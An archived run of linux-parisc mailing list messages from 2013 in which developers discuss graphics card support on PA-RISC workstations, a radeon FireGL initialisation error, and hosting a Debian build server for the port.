Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V7OSm-0006H0-7W
	for glpp-linux-parisc@plane.gmane.org; Thu, 08 Aug 2013 13:33:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965092Ab3HHLdC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 8 Aug 2013 07:33:02 -0400
Original-Received: from forward3.mail.yandex.net ([77.88.46.8]:52680 "EHLO
	forward3.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757746Ab3HHLc6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 8 Aug 2013 07:32:58 -0400
Original-Received: from web3d.yandex.ru (web3d.yandex.ru [77.88.47.178])
	by forward3.mail.yandex.net (Yandex) with ESMTP id 82321B41508
	for <linux-parisc@vger.kernel.org>; Thu,  8 Aug 2013 15:32:55 +0400 (MSK)
Original-Received: from 127.0.0.1 (localhost.localdomain [127.0.0.1])
	by web3d.yandex.ru (Yandex) with ESMTP id 25F4F6AF0524;
	Thu,  8 Aug 2013 15:32:55 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15]) by web3d.yandex.ru with HTTP;
	Thu, 08 Aug 2013 15:32:54 +0400
X-Mailer: Yamail [ http://yandex.ru ] 5.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5253
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5253>

Folks,

Which PCI/AGP local graphics options are you using today
on PA-RISC machines? I mean Xorg usage.

I'd like to use native option of my machine (FireGL X1/X3
in C8000), but it's currently broken (no DRM and software
accel is incredibly slow plus colors in 24bpp mode are wrong), 
so i'm looking for the alternatives.

Thanks in advance.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI & AGP video options
Date: Fri, 09 Aug 2013 23:18:22 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <52055C9E.9010503@gmx.de>
References: <199671375961574@web3d.yandex.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1376083111 23148 80.91.229.3 (9 Aug 2013 21:18:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 9 Aug 2013 21:18:31 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Alex Ivanov <gnidorah@p0n4ik.tk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 09 23:18:32 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V7u4u-0005uz-9n
	for glpp-linux-parisc@plane.gmane.org; Fri, 09 Aug 2013 23:18:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1031179Ab3HIVSb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 9 Aug 2013 17:18:31 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:52518 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1031152Ab3HIVSb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 9 Aug 2013 17:18:31 -0400
Original-Received: from [192.168.43.77] ([92.69.248.159]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0LdLw5-1VpnXA1PLl-00iVAV for
 <linux-parisc@vger.kernel.org>; Fri, 09 Aug 2013 23:18:29 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <199671375961574@web3d.yandex.ru>
X-Provags-ID: V03:K0:g/2QgCzwCtO2MvlDXtktmbkp2YpRoj+mOXbVCTPeGXbPISy4ZJB
 5hnM6rkCq8ihOemG/kpUzTXaTKl2nx+Ki+Pv3SGBC7TKsl8BN+er7H7lGCTWFTZErph/YtI
 fgl8WR8es+essKKSFxlpGV07DCyEhySVpsVjtRUmFf2CX5OrT5p0ajaN365YnNYXNKJIhfq
 PnaeoadbeoTyHhiCyffEw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5254
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5254>

Hi Alex,

On 08/08/2013 01:32 PM, Alex Ivanov wrote:
> Which PCI/AGP local graphics options are you using today
> on PA-RISC machines? I mean Xorg usage.

I'm not sure if it makes much sense to use a PA-RISC
machine as desktop machine nowadays. Every Intel-based
machine is faster, cheaper, better supported (graphic cards)
and uses less power... 
 
> I'd like to use native option of my machine (FireGL X1/X3
> in C8000), but it's currently broken (no DRM and software
> accel is incredibly slow plus colors in 24bpp mode are wrong), 
> so i'm looking for the alternatives.

For all other parisc machines we have the stifb driver which
supports the built-in graphic cards like Visualize-EG.
Visualize-FX cards are not supported and probably will never
be supported.

The only other card I used once (at least I tested it shortly)
was a Vodoo 2 card. Sadly it only supported 800x600 with 16bit if
I remember correctly.
I tried a Matrox PCI once too, but I think it had some issues.

So, I still hope we can get the FireGL supported fully soon...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: gnidorah@p0n4ik.tk
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI & AGP video options
Date: Sat, 10 Aug 2013 10:00:53 +0400
Lines: 25
Approved: news@gmane.org
Message-ID: <EE8284CE-E16F-48FA-BB55-D680CFC39484@p0n4ik.tk>
References: <199671375961574@web3d.yandex.ru> <52055C9E.9010503@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v753.1)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1376114467 5437 80.91.229.3 (10 Aug 2013 06:01:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 10 Aug 2013 06:01:07 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 10 08:01:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V82Ed-0001kY-Lm
	for glpp-linux-parisc@plane.gmane.org; Sat, 10 Aug 2013 08:01:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754144Ab3HJGBG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 10 Aug 2013 02:01:06 -0400
Original-Received: from forward7l.mail.yandex.net ([84.201.143.140]:54469 "EHLO
	forward7l.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754117Ab3HJGBG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 10 Aug 2013 02:01:06 -0400
Original-Received: from smtp14.mail.yandex.net (smtp14.mail.yandex.net [95.108.131.192])
	by forward7l.mail.yandex.net (Yandex) with ESMTP id 6A134BC0EF2;
	Sat, 10 Aug 2013 10:01:03 +0400 (MSK)
Original-Received: from smtp14.mail.yandex.net (localhost [127.0.0.1])
	by smtp14.mail.yandex.net (Yandex) with ESMTP id 0FB381B6073C;
	Sat, 10 Aug 2013 10:01:02 +0400 (MSK)
Original-Received: from host-79-165-81-207.qwerty.ru (host-79-165-81-207.qwerty.ru [79.165.81.207])
	by smtp14.mail.yandex.net (nwsmtp/Yandex) with ESMTP id XDPveCvbTe-12a0Nowk;
	Sat, 10 Aug 2013 10:01:02 +0400
In-Reply-To: <52055C9E.9010503@gmx.de>
X-Mailer: Apple Mail (2.753.1)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5255
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5255>

Helge,

Thank you much for the answer!

> I'm not sure if it makes much sense to use a PA-RISC
> machine as desktop machine nowadays. Every Intel-based
> machine is faster, cheaper, better supported (graphic cards)
> and uses less power...

Got your point.
That's true. Still would be nice to use workstation model
as workstation.

> The only other card I used once (at least I tested it shortly)
> was a Vodoo 2 card. Sadly it only supported 800x600 with 16bit if
> I remember correctly.
> I tried a Matrox PCI once too, but I think it had some issues.

I have some S3 (PCI 5v) and an Asus AGP (not AGP Pro) though
can't test them, as i don't have corresponding risers.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI & AGP video options
Date: Sat, 10 Aug 2013 10:07:07 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <BLU0-SMTP848CBA886F0C5E2BB6645697590@phx.gbl>
References: <199671375961574@web3d.yandex.ru> <52055C9E.9010503@gmx.de> <EE8284CE-E16F-48FA-BB55-D680CFC39484@p0n4ik.tk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1376143649 3017 80.91.229.3 (10 Aug 2013 14:07:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 10 Aug 2013 14:07:29 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: gnidorah@p0n4ik.tk
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 10 16:07:28 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V89pH-00080W-Vi
	for glpp-linux-parisc@plane.gmane.org; Sat, 10 Aug 2013 16:07:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933828Ab3HJOH0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 10 Aug 2013 10:07:26 -0400
Original-Received: from blu0-omc4-s13.blu0.hotmail.com ([65.55.111.152]:43038 "EHLO
	blu0-omc4-s13.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933806Ab3HJOH0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 10 Aug 2013 10:07:26 -0400
Original-Received: from BLU0-SMTP84 ([65.55.111.136]) by blu0-omc4-s13.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 10 Aug 2013 07:07:25 -0700
X-TMN: [DtXkSt4ogqAPrFCdFNvHZq91p2a4Vnat]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP84.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 10 Aug 2013 07:07:24 -0700
In-Reply-To: <EE8284CE-E16F-48FA-BB55-D680CFC39484@p0n4ik.tk>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 10 Aug 2013 14:07:24.0443 (UTC) FILETIME=[F01D0EB0:01CE95D2]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5256
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5256>

On 10-Aug-13, at 2:00 AM, gnidorah@p0n4ik.tk wrote:

>> I'm not sure if it makes much sense to use a PA-RISC
>> machine as desktop machine nowadays. Every Intel-based
>> machine is faster, cheaper, better supported (graphic cards)
>> and uses less power...
>
> Got your point.
> That's true. Still would be nice to use workstation model
> as workstation.

Yes, it's a bit of a cop out.

I still tend to think the bug is in the firmware load.  Is there any  
external way to confirm that it loads
correctly (e.g., a led on card)?  The error indicates that the command  
processor (CP) isn't working.

There is a manual "Radeon R5xx Acceleration" that might help debug.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Sat, 10 Aug 2013 15:41:34 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <BLU0-SMTP37200F0E5A1B7245ECB02397590@phx.gbl>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com> <20130614073827.GA18871@p100.box> <loom.20130709T072537-28@post.gmane.org> <51DC29DC.8060106@bell.net> <loom.20130709T200549-18@post.gmane.org> <51DC7996.3010405@bell.net> <BLU0-SMTP393134EC9554B3C1E34F9297790@phx.gbl> <216411373487566@web6f.yandex.ru> <CAEdQ38FDuGy_yjB+yV93dtNxJ-kicavhOqFNWLiWesVrbd1uRA@mail.gmail.com> <518401373491752@web17h.yandex.ru> <51DF0B90.3040506@gmx.de> <51DF0BEF.6020304@gmx.de> <995101375614033@web11d.yandex.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1376163712 30176 80.91.229.3 (10 Aug 2013 19:41:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 10 Aug 2013 19:41:52 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Alex Ivanov <gnidorah@p0n4ik.tk>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 10 21:41:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V8F2v-0005Ik-Mw
	for glpp-linux-parisc@plane.gmane.org; Sat, 10 Aug 2013 21:41:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754320Ab3HJTlx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 10 Aug 2013 15:41:53 -0400
Original-Received: from blu0-omc4-s10.blu0.hotmail.com ([65.55.111.149]:4852 "EHLO
	blu0-omc4-s10.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754184Ab3HJTlw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 10 Aug 2013 15:41:52 -0400
Original-Received: from BLU0-SMTP37 ([65.55.111.135]) by blu0-omc4-s10.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 10 Aug 2013 12:41:51 -0700
X-TMN: [P+kzP5PYpYbzd7KFoT86KDjINMYeeJxD]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP37.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 10 Aug 2013 12:41:50 -0700
In-Reply-To: <995101375614033@web11d.yandex.ru>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 10 Aug 2013 19:41:51.0092 (UTC) FILETIME=[A8C4B340:01CE9601]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5257
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5257>

On 4-Aug-13, at 7:00 AM, Alex Ivanov wrote:

> 11.07.2013, 23:48, "Helge Deller" <deller@gmx.de>:
>> adding linux parisc mailing list...:
>>
>> On 07/11/2013 09:46 PM, Helge Deller wrote:
>>
>>>  On 07/10/2013 11:29 PM, Alex Ivanov wrote:
>>>>  11.07.2013, 01:14, "Matt Turner" <mattst88@gmail.com>:
>>>>>  On Wed, Jul 10, 2013 at 1:19 PM, Alex Ivanov  
>>>>> <gnidorah@p0n4ik.tk> wrote:
>>>>>>   Thank you so much! Your guess looks to be right. After  
>>>>>> applying of your
>>>>>>   patch there was no more KP and X just worked.
>>>>>  Nice! Does DRI work?
>>>>  Not on my side. Plus i can't visually jump over 8bit depth,  
>>>> although Xorg
>>>>  states 24bit in it's log.
>>>>  As for DRI, i'm experiencing
>>>>  "ring test failed (scratch(0x15E4)=0xCAFEDEAD)" with a firegl x3.
>>>  FWIW, I'm seeing the same failure on my FireGL X1:
>>>  80:00.0 VGA compatible controller: Advanced Micro Devices [AMD]  
>>> nee ATI Radeon R300 NG [FireGL X1] (rev 80)
>>>
>>>  [drm] radeon: irq initialized.
>>>  [drm] Loading R300 Microcode
>>>  [drm] radeon: ring at 0x0000000060001000
>>>  [drm:r100_ring_test] *ERROR* radeon: ring test failed  
>>> (scratch(0x15E4)=0xCAFEDEAD)
>>>  [drm:r100_cp_init] *ERROR* radeon: cp isn't working (-22).
>>>  radeon 0000:80:00.0: failed initializing CP (-22).
>>>  radeon 0000:80:00.0: Disabling GPU acceleration
>>>  [drm:r100_cp_fini] *ERROR* Wait for CP idle timeout, shutting  
>>> down CP.
>>>  [drm] radeon: cp finalized
>>>  [drm] radeon: cp finalized

Have you tried agpmode=-1 to force PCI mode.  It seems like this was a  
problem at one time on ubuntu:
http://phoronix.com/forums/showthread.php?17615-Testing-radeon-KMS-on-Ubuntu

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Sat, 10 Aug 2013 23:56:47 +0400
Lines: 35
Approved: news@gmane.org
Message-ID: <E820CE4C-248F-49CF-84F3-1E0A219133C9@p0n4ik.tk>
References: <A7728478-8754-4B8E-81DD-CDB70165FFAB@p0n4ik.tk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 6.5 \(1508\))
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1376164615 6338 80.91.229.3 (10 Aug 2013 19:56:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 10 Aug 2013 19:56:55 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 10 21:56:53 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V8FHQ-0008Gc-4B
	for glpp-linux-parisc@plane.gmane.org; Sat, 10 Aug 2013 21:56:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754587Ab3HJT4v convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 10 Aug 2013 15:56:51 -0400
Original-Received: from forward3h.mail.yandex.net ([84.201.187.148]:33304 "EHLO
	forward3h.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754567Ab3HJT4u convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 10 Aug 2013 15:56:50 -0400
Original-Received: from smtp4h.mail.yandex.net (smtp4h.mail.yandex.net [84.201.186.21])
	by forward3h.mail.yandex.net (Yandex) with ESMTP id 36C53136167B
	for <linux-parisc@vger.kernel.org>; Sat, 10 Aug 2013 23:56:48 +0400 (MSK)
Original-Received: from smtp4h.mail.yandex.net (localhost [127.0.0.1])
	by smtp4h.mail.yandex.net (Yandex) with ESMTP id F2EC92C13BB
	for <linux-parisc@vger.kernel.org>; Sat, 10 Aug 2013 23:56:47 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15])
	by smtp4h.mail.yandex.net (nwsmtp/Yandex) with ESMTP id BbHxjkGeqw-ulNOIUlT;
	Sat, 10 Aug 2013 23:56:47 +0400
X-Mailer: Apple Mail (2.1508)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5258
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5258>

> =EF=D4: Alex Ivanov <gnidorah@p0n4ik.tk>
> =F4=C5=CD=C1: =EF=D4=D7=C5=D4: [PATCH] parisc: fix LMMIO mismatch bet=
ween PAT length and MASK register
> =E4=C1=D4=C1: 10 =C1=D7=C7=D5=D3=D4=C1 2013 =C7., 23:55:35 GMT+04:00
> =EB=CF=CD=D5: John David Anglin <dave.anglin@bell.net>
>=20
>=20
> 10.08.2013, =D7 23:41, John David Anglin <dave.anglin@bell.net> =CE=C1=
=D0=C9=D3=C1=CC(=C1):
>>=20
>> Have you tried agpmode=3D-1 to force PCI mode.  It seems like this w=
as a problem at one time on ubuntu:
>> http://phoronix.com/forums/showthread.php?17615-Testing-radeon-KMS-o=
n-Ubuntu
>>=20
>> Dave
>> --
>> John David Anglin	dave.anglin@bell.net
>=20
>=20
> John,
>=20
> I've tried this one and many other things (except the messing with en=
dianness) so far. The error is=20
> still there.
>=20
> Thanks.
>=20

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: State of the PA-RISC/HPPA port (August 2013)
Date: Tue, 13 Aug 2013 11:38:03 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <DB688814-C104-4729-A5C8-848C4EC35750@parisc-linux.org>
References: <20130803204119.GA2392@halden.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 6.5 \(1508\))
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1376386688 7411 80.91.229.3 (13 Aug 2013 09:38:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Aug 2013 09:38:08 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 13 11:38:10 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V9B3J-0004DE-36
	for glpp-linux-parisc@plane.gmane.org; Tue, 13 Aug 2013 11:38:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755784Ab3HMJiI convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Aug 2013 05:38:08 -0400
Original-Received: from mail-wg0-f44.google.com ([74.125.82.44]:40640 "EHLO
	mail-wg0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754963Ab3HMJiH convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Aug 2013 05:38:07 -0400
Original-Received: by mail-wg0-f44.google.com with SMTP id l18so6375929wgh.35
        for <linux-parisc@vger.kernel.org>; Tue, 13 Aug 2013 02:38:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:content-type:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=U+BP6V/BcczSDGXX3/DhiaFpyp2Xxf5T3xhkO+gnlMk=;
        b=mSE8WqJ4Pcfb+M5o7BPmST6CdAFT0Kd58VYZLrk4X9henKxfqGic2mBPnhPM8sLHVS
         RI7mscJW/izEqs7WoNpCCk94cexx4rYBkDvY1deRqk5xfUpz8dDtKiLn3I6QAVS/qy7T
         q4znqMQmpREJ2zfmdVIM+Coq4Y3xLz4PonJnY58f6ip6DzxWeOqSNVsbdK+ChzveeyFX
         PRTnh7k1xR5q9U2AGYFMitABKfAfAyWMVUsOvCdi8kqMno4ed3CXEPJGgQ/TsRUpcHVT
         cBpECdByvBkzqrf9WL6hBkpIH6WY0RD07uJfZ7hhLkuiCidlB7Dl/0OBARmSwUiWC8Op
         Tnlw==
X-Received: by 10.180.101.161 with SMTP id fh1mr2040548wib.54.1376386685020;
        Tue, 13 Aug 2013 02:38:05 -0700 (PDT)
Original-Received: from [192.168.0.14] (tardis.herebedragons.eu. [88.178.25.53])
        by mx.google.com with ESMTPSA id fz8sm2116586wic.0.2013.08.13.02.38.03
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 13 Aug 2013 02:38:03 -0700 (PDT)
In-Reply-To: <20130803204119.GA2392@halden.box>
X-Mailer: Apple Mail (2.1508)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5259 gmane.linux.debian.ports.hppa:6968
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5259>

Hi Helge,

Le 3 ao=FBt 2013 =E0 22:41, Helge Deller <deller@gmx.de> a =E9crit :

> Furthermore, we sadly still don't have buildd-server. What really is =
missing
> here is someone who is willing to host a parisc server and provide en=
ough
> direct bandwith to the internet.  Giving away real server hardware is=
 probably
> doable (and those parisc machines luckily aren't expensive any longer=
 on ebay
> :-)) and even administration would be done by Dave, me or someone els=
e if
> necessary.

I think this is not exactly the issue. As I told you before, you are we=
lcome to set up the A500 (since the rp3440 is broken, and I don't have =
the means to repair it) hosted at ESIEE (which has plenty of bw) as an =
autobuild. I think the problem has more to do with finding someone know=
ledgeable about the process AND willing to go through the pain of said =
setup. I for one will not volunteer, for the reasons I already detailed=
 in previous emails ;-)

HTH

T-Bone

--=20
Thibaut VAR=C8NE
http://hacks.slashdirt.org/--
